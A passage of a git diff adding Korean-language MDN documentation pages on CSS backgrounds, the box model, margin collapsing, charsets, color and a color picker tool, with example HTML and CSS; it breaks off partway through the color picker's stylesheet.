{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }}
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}}
diff --git a/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html new file mode 100644 index 0000000000..f3f0d6529b --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html @@ -0,0 +1,137 @@ +--- +title: 배경 이미지 크기 조정하기 +slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate + - Reference + - Web +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +--- +
{{cssref}}
+ +

CSS 배경 이미지의 기본 설정값에서는 원본 이미지가 크기 변화 없이 바둑판식으로 배열됩니다. {{cssxref("background-size")}} 속성에 가로와 세로 크기를 지정해 크기를 바꿀 수 있습니다. 이미지는 원하는대로 확대할 수도, 줄일 수도 있습니다.

+ +

큰 이미지 바둑판식 배열

+ +

2982x2808의 커다란 Firefox 이미지를 가지고 있다고 해보겠습니다. 모종의 이유(끔찍하게 잘못된 사이트 디자인 등)로 300x300 픽셀 요소에 저 이미지 4개를 바둑판식으로 보여야 합니다. background-size와 고정값 150 픽셀로 목표를 달성할 수 있습니다.

+ +

HTML

+ +
<div class="tiledBackground">
+</div>
+ +

CSS

+ +
.tiledBackground {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: 150px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  color: pink;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("큰_이미지_바둑판식_배열", 340, 340)}}

+ +

이미지 늘리기

+ +

가로와 세로 크기를 각각 지정할 수도 있습니다.

+ +
background-size: 300px 150px;
+
+ +

결과는 다음과 같습니다.

+ +

+ +

작은 이미지 키우기

+ +

반대로 배경 이미지를 키울 수도 있습니다. 다음 코드는 32x32 픽셀 파비콘을 300x300 픽셀로 늘린 결과입니다.

+ +

+ +
.square2 {
+  background-image: url(favicon.png);
+  background-size: 300px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

보시다시피 CSS는 이미지 파일 이름을 제외하면 동일합니다.

+ +

특별한 값: "contain" 과 "cover"

+ +

길이를 나타내는 {{cssxref("<length>")}} 값 대신, {{ cssxref("background-size") }} CSS 속성에 contain 과 cover 두개의 특별한 값을 지정할 수 있습니다. 살펴봅시다.

+ +

contain

+ +

contain 값을 지정하면, 배경 이미지의 가로, 세로 모두 요소보다 작다는 조건하에 가능한 크게 조정됩니다. 이미지의 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 작거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

+ +

HTML

+ +
<div class="bgSizeContain">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeContain {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: contain;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

결과

+ +

{{ EmbedLiveSample('contain', 250, 250) }}

+ +

cover

+ +

값을 cover 로 지정하면 배경이미지의 가로, 세로 길이 모두 요소보다 크다는 조건하에 가능한 배경 이미지를 작게 조정합니다. 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 크거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.

+ +

HTML

+ +
<div class="bgSizeCover">
+  <p>Try resizing this element!</p>
+</div>
+ +

CSS

+ +
.bgSizeCover {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: cover;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}
+ +

결과

+ +

{{ EmbedLiveSample('cover', 250, 250) }}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html new file mode 100644 index 0000000000..1e0e3deeca --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -0,0 +1,59 @@ +--- +title: 한 번에 여러 배경 사용하기 +slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +tags: + - CSS + - CSS Background + - Example + - Guide + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +
{{CSSRef}}
+ +

여러 개의 배경을 한 번에 적용할 수도 있습니다. 첫 번째 배경이 맨 위에, 마지막 배경이 맨 밑에 위치하는 레이어 구조를 사용하게 됩니다. 마지막 배경에만 배경색을 적용할 수 있습니다.

+ +

여러 배경을 적용하는 건 쉽습니다.

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

{{ cssxref("background") }} 단축 속성뿐 아니라 {{cssxref("background-color")}}를 제외한 단일 속성에서도 사용할 수 있습니다. 즉, {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}에는 목록을 값으로 지정할 수 있습니다.

+ +

예제

+ +

다음 예제는 Firefox 로고, 거품, 선형 그레이디언트 총 세 개의 배경을 사용합니다.

+ +

HTML

+ +
<div class="multi-bg-example"></div>
+ +

CSS

+ +
.multi-bg-example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png),
+      url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+      linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat,
+      no-repeat,
+      no-repeat;
+  background-position: bottom right,
+      left,
+      right;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제','600','400')}}

+ +

결과에서 볼 수 있듯, {{cssxref("background-image")}}에서 첫 번째로 지정한 Firefox 로고가 맨 위, 그 다음이 거품 그림이고 선형 그레이디언트는 모든 '이미지' 밑에 위치합니다. 하위 속성({{ cssxref("background-repeat") }}, {{ cssxref("background-position") }})의 각 값도 순서에 맞는 배경에 적용됩니다. 따라서 background-repeat의 첫 번째 값은 처음(맨 위) 배경에 적용되고, 두 번째와 두 번째 배경, 세 번째와 세 번째 배경...도 같습니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_basic_user_interface/index.html b/files/ko/web/css/css_basic_user_interface/index.html new file mode 100644 index 0000000000..4baba659db --- /dev/null +++ b/files/ko/web/css/css_basic_user_interface/index.html @@ -0,0 +1,75 @@ +--- +title: CSS Basic User Interface +slug: Web/CSS/CSS_Basic_User_Interface +tags: + - CSS + - CSS Basic User Interface + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Basic_User_Interface +--- +
{{CSSRef}}
+ +

CSS Basic User Interface는 사용자 인터페이스와 연관된 렌더링 및 기능의 동작 방식을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{CSSxRef("appearance")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("box-sizing")}}
  • +
  • {{CSSxRef("cursor")}}
  • +
  • {{CSSxRef("ime-mode")}} {{Deprecated_Inline}}
  • +
  • {{CSSxRef("nav-down")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-left")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-right")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("nav-up")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("outline")}}
  • +
  • {{CSSxRef("outline-width")}}
  • +
  • {{CSSxRef("outline-style")}}
  • +
  • {{CSSxRef("outline-color")}}
  • +
  • {{CSSxRef("outline-offset")}}
  • +
  • {{CSSxRef("resize")}}
  • +
  • {{CSSxRef("text-overflow")}}
  • +
  • {{CSSxRef("user-select")}}
  • +
+
+ +

안내서

+ +
+
cursor 속성값에 URL 사용하기
+
URL을 {{cssxref("cursor")}} 속성에 사용해 사용자 지정 커서를 생성하는 방법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Basic UI")}}{{Spec2("CSS4 Basic UI")}}
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}
{{SpecName("CSS2.1", "ui.html")}}{{Spec2("CSS2.1")}}Initial definition.
diff --git a/files/ko/web/css/css_box_model/index.html b/files/ko/web/css/css_box_model/index.html new file mode 100644 index 0000000000..aac36b356a --- /dev/null +++ b/files/ko/web/css/css_box_model/index.html @@ -0,0 +1,113 @@ +--- +title: CSS Basic Box Model +slug: Web/CSS/CSS_Box_Model +tags: + - CSS + - CSS Box Model + - Overview + - Reference +translation_of: Web/CSS/CSS_Box_Model +--- +
{{CSSRef}}
+ +

CSS Basic Box Model은 각 요소에 대해 시각적 서식 모델에 따라 생성하고 배치하는 사각형 박스(안팎 여백 포함)를 위한 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +

박스 내 콘텐츠 흐름을 제어하는 속성

+ +
+
    +
  • {{cssxref("overflow")}}
  • +
  • {{cssxref("overflow-x")}}
  • +
  • {{cssxref("overflow-y")}}
  • +
+
+ +

박스 크기를 제어하는 속성

+ +
+
    +
  • {{cssxref("height")}}
  • +
  • {{cssxref("width")}}
  • +
  • {{cssxref("max-height")}}
  • +
  • {{cssxref("max-width")}}
  • +
  • {{cssxref("min-height")}}
  • +
  • {{cssxref("min-width")}}
  • +
+
+ +

박스의 바깥 여백을 제어하는 속성

+ +
+
    +
  • {{cssxref("margin")}}
  • +
  • {{cssxref("margin-bottom")}}
  • +
  • {{cssxref("margin-left")}}
  • +
  • {{cssxref("margin-right")}}
  • +
  • {{cssxref("margin-top")}}
  • +
  • {{cssxref("margin-trim")}} {{Experimental_Inline}}
  • +
+
+ +

박스의 안쪽 여백을 제어하는 속성

+ +
+
    +
  • {{cssxref("padding")}}
  • +
  • {{cssxref("padding-bottom")}}
  • +
  • {{cssxref("padding-left")}}
  • +
  • {{cssxref("padding-right")}}
  • +
  • {{cssxref("padding-top")}}
  • +
+
+ +

기타 속성

+ +
+
    +
  • {{cssxref("visibility")}}
  • +
+
+ +

안내서

+ +
+
CSS 박스 모델 입문
+
CSS의 기초 개념 중 하나인 박스 모델을 설명합니다. 박스 모델은 CSS가 요소와 요소의 콘텐츠, 안쪽 여백, 테두리, 바깥 여백 영역을 배치하는 법을 정의합니다.
+
여백 상쇄 정복
+
어떤 경우, 두 개의 인접한 바깥 여백은 하나로 상쇄됩니다. 이 글은 상쇄가 언제 어떻게 일어나고 이를 어떻게 제어하는지 설명합니다.
+
시각적 서식 모델
+
시각적 서식 모델을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}}margin-trim 추가.
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}초기 정의
diff --git a/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html new file mode 100644 index 0000000000..dd7718f701 --- /dev/null +++ b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -0,0 +1,70 @@ +--- +title: CSS 기본 박스 모델 입문 +slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +tags: + - CSS + - CSS Box Model + - Guide + - Layout +translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +--- +
{{CSSRef}}
+ +

문서의 레이아웃을 계산할 때, 브라우저의 렌더링 엔진은 표준 CSS 기본 박스 모델에 따라 각각의 요소를 사각형 박스로 표현합니다. CSS는 박스의 크기, 위치, 속성(색, 배경, 테두리 모양 등)을 결정합니다.

+ +

하나의 박스는 네 부분(영역)으로 이루어집니다. 각 영역을 콘텐츠 영역, 안쪽 여백(패딩) 영역, 테두리 영역, 그리고 바깥 여백(마진) 영역이라고 부릅니다.

+ +

CSS Box model

+ +

콘텐츠 영역(content area)은 콘텐츠 경계(content edge)가 감싼 영역으로, 글이나 이미지, 비디오 등 요소의 실제 내용을 포함합니다. 콘텐츠 영역의 크기는 콘텐츠 너비(콘텐츠 박스 너비)와 콘텐츠 높이(콘텐츠 박스 높이)입니다. 배경색과 배경 이미지를 가지고 있기도 합니다.

+ +

{{cssxref("box-sizing")}} 속성의 값이 기본값인 content-box이며 요소가 블록 레벨 요소인 경우, 콘텐츠 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 사용해 명시적으로 설정할 수 있습니다.

+ +

안쪽 여백 영역(패딩 영역, padding area)은 안쪽 여백 경계(padding edge)가 감싼 영역으로, 콘텐츠 영역을 요소의 안쪽 여백까지 포함하는 크기로 확장합니다. 영역의 크기는 안쪽 여백 박스 너비와 안쪽 여백 박스 높이입니다.

+ +

안쪽 여백의 두께는 {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}와 단축 속성인 {{cssxref("padding")}}이 결정합니다.

+ +

테두리 영역(border area)은 테두리 경계(border edge)가 감싼 영역으로, 안쪽 여백 영역을 요소의 테두리까지 포함하는 크기로 확장합니다. 영역의 크기는 테두리 박스 너비와 테두리 박스 높이입니다.

+ +

테두리의 두께는 {{cssxref("border-width")}}와 단축 속성인 {{cssxref("border")}}가 결정합니다. {{cssxref("box-sizing")}} 속성의 값이 border-box라면 테두리 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 명시적으로 설정할 수 있습니다. 박스의 배경({{cssxref("background-color")}} 또는 {{cssxref("background-image")}})은 테두리의 바깥 경계까지 늘어나고, 그릴 땐 테두리에 가려집니다. 이 동작 방식은 {{cssxref("background-clip")}} 속성으로 바꿀 수 있습니다.

+ +

바깥 여백 영역(마진 영역, margin area)은 바깥 여백 경계(margin edge)가 감싼 영역으로, 테두리 요소를 확장해 요소와 인근 요소 사이의 빈 공간까지 포함하도록 만듭니다. 영역의 크기는 바깥 여백 박스 너비와 바깥 여백 박스 높이입니다.

+ +

바깥 여백 영역의 크기는 {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}와 단축 속성인 {{cssxref("margin")}}이 결정합니다. 여백 상쇄가 발생할 때는 요소 간에 바깥 여백이 공유되므로 여백 영역이 명확하게 결정되지 않습니다.

+ +

끝으로, 비대체 인라인 요소가 차지하는 공간의 크기(줄 높이에 기여하는 양)는, 요소 주위에 테두리와 안쪽 여백이 표시되더라도 {{cssxref("line-height")}} 속성으로 결정한다는 점을 주의하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#intro')}}{{Spec2('CSS3 Box')}}
{{ SpecName("CSS2.1","box.html#box-dimensions")}}{{Spec2('CSS2.1')}}Though more precisely worded, there is no practical change.
{{ SpecName("CSS1","#formatting-model")}}{{Spec2('CSS1')}}Initial definition.
+ +

같이 보기

+ +
    +
  • {{css_key_concepts}}
  • +
diff --git a/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html new file mode 100644 index 0000000000..1dd8b04888 --- /dev/null +++ b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -0,0 +1,82 @@ +--- +title: 여백 상쇄 정복 +slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +tags: + - CSS + - CSS Box Model + - Guide + - Reference +translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +--- +
{{CSSRef}}
+ +

여러 블록의 위쪽아래쪽 바깥 여백(마진)은 경우에 따라 제일 큰 여백의 크기를 가진 단일 여백으로 결합(상쇄)되곤 합니다. 이런 동작을 여백 상쇄라고 부릅니다. 단, 플로팅 요소와 절대 위치를 지정한 요소의 여백은 절대 상쇄되지 않습니다.

+ +

여백 상쇄는 다음과 같은 세 가지 기본 상황에 발생합니다.

+ +
+
인접 형제
+
인접 형제 요소간의 바깥 여백은 서로 상쇄됩니다. (단, 뒤쪽 형제가 플로팅을 해제해야 하는 경우는 예외)
+
부모와 자손을 분리하는 콘텐츠 없음
+
부모 블록에 테두리, 안쪽 여백, 인라인 부분이 없고 블록 서식 맥락이 생성되지 않았으며 부모의 {{cssxref("margin-top")}}을 자손의 margin-top과 분리할 권한이 없는 경우, 또는, 부모 블록에 테두리, 안쪽 여백, 인라인 콘텐츠가 없으며 부모의 {{cssxref("margin-bottom")}}과 자손의 margin-bottom을 분리할 {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 존재하지 않는 경우 부모와 자손의 여백이 상쇄됩니다. 상쇄된 여백은 부모 블록 바깥에 위치합니다.
+
빈 블록
+
테두리, 안쪽 여백, 인라인 콘텐츠, {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 없으면 블록의 {{cssxref("margin-top")}}과 {{cssxref("margin-bottom")}}이 서로 상쇄됩니다.
+
+ +

다음은 참고할만한 사항입니다.

+ +
    +
  • (세 개 이상의 여백 사이의) 더 복잡한 여백 상쇄는 위의 기본 상황이 서로 결합되어 발생합니다.
  • +
  • 위의 규칙은 바깥 여백이 0이어도 적용되므로, 두 번째 규칙을 만족하는 경우 부모의 바깥 여백이 0이건 아니건 자손의 바깥 여백은 부모 밖으로 나오게 됩니다.
  • +
  • 음수 값을 가진 바깥 여백을 포함할 경우, 상쇄된 여백의 크기는 제일 큰 양수 여백과 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 합이 됩니다.
  • +
  • 모든 바깥 여백이 음수 값을 가질 경우, 상쇄된 여백의 크기는 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 크기가 됩니다. 인접 요소와 중첩 요소 모두에 적용됩니다.
  • +
+ +

예제

+ +

HTML

+ +
<p>The bottom margin of this paragraph is collapsed …</p>
+<p>… with the top margin of this paragraph, yielding a margin of <code>1.2rem</code> in between.</p>
+
+<div>This parent element contains two paragraphs!
+  <p>This paragraph has a <code>.4rem</code> margin between it and the text above.</p>
+  <p>My bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p>
+</div>
+
+<p>I am <code>2rem</code> below the element above.</p>
+ +

CSS

+ +
div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 'auto', 350)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}{{Spec2("CSS2.1")}}초기 정의
diff --git a/files/ko/web/css/css_charsets/index.html b/files/ko/web/css/css_charsets/index.html new file mode 100644 index 0000000000..484285591d --- /dev/null +++ b/files/ko/web/css/css_charsets/index.html @@ -0,0 +1,44 @@ +--- +title: CSS Charsets +slug: Web/CSS/CSS_Charsets +tags: + - CSS + - CSS Charsets + - Overview + - Reference +translation_of: Web/CSS/CSS_Charsets +--- +
{{CSSRef}}
+ +

CSS Charsets는 스타일 시트에서 사용하는 문자 집합을 정의할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@charset")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}{{Spec2('CSS2.1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_color/index.html b/files/ko/web/css/css_color/index.html new file mode 100644 index 0000000000..06d7418de0 --- /dev/null +++ b/files/ko/web/css/css_color/index.html @@ -0,0 +1,110 @@ +--- +title: CSS Color +slug: Web/CSS/CSS_Color +tags: + - CSS + - CSS Colors + - HTML Colors + - Overview + - Reference +translation_of: Web/CSS/CSS_Color +--- +
{{CSSRef}}
+ +

CSS 색상은 색상, 색상 유형, 색상 혼합, 투명도 및 이러한 색상 효과를 HTML에 적용하는 방법을 다루는 CSS 모듈입니다. {{cssxref("<color>")}} 값을 취하는 모든 CSS 속성이 이 모듈에 속하는건 아니지만 의존성은 가지고 있습니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("color")}}
  • +
  • {{cssxref("color-adjust")}}
  • +
  • {{cssxref("opacity")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<color>")}}
  • +
+
+ +

안내서

+ +
+
CSS를 사용하여 HTML 요소에 색상 적용하기
+
CSS를 사용하여 다양한 유형의 콘텐츠에 색상을 적용하는 방법에 대한 안내서입니다. 모든 색상 관련 CSS 속성이 적용됩니다.​
+
+ +

도구

+ +
+
색상 선택 도구
+
이 도구를 사용하면 맞춤 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ +

color 속성

+ +
+ + +

{{Compat("css.properties.color")}}

+ +

color-adjust 속성

+ +
+ + +

{{Compat("css.properties.color-adjust")}}

+ +

opacity 속성

+ +
+ + +

{{Compat("css.properties.opacity")}}

+
+
+
+ +

같이 보기

+ +
    +
  • 다른 사양의 일부 색상 관련 속성 : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • CSS에서는 그레이디언트가 색상이 아니라 이미지입니다.
  • +
diff --git a/files/ko/web/css/css_colors/color_picker_tool/index.html b/files/ko/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..f5437c05b5 --- /dev/null +++ b/files/ko/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3238 @@ +--- +title: Color picker tool +slug: Web/CSS/CSS_Colors/Color_picker_tool +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPicker tool

+ +

HTML

+ +
    <div id="container">
+        <div id="palette" class="block">
+            <div id="color-palette"></div>
+            <div id="color-info">
+                <div class="title"> CSS Color </div>
+            </div>
+        </div>
+
+        <div id="picker" class="block">
+            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+            <div id="picker-samples" sample-id="master"></div>
+            <div id="controls">
+                <div id="delete">
+                    <div id="trash-can"></div>
+                </div>
+                <div id="void-sample" class="icon"></div>
+            </div>
+        </div>
+
+        <div id="canvas" data-tutorial="drop">
+            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"></div>
+        </div>
+    </div>
+
+
+ +

CSS

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
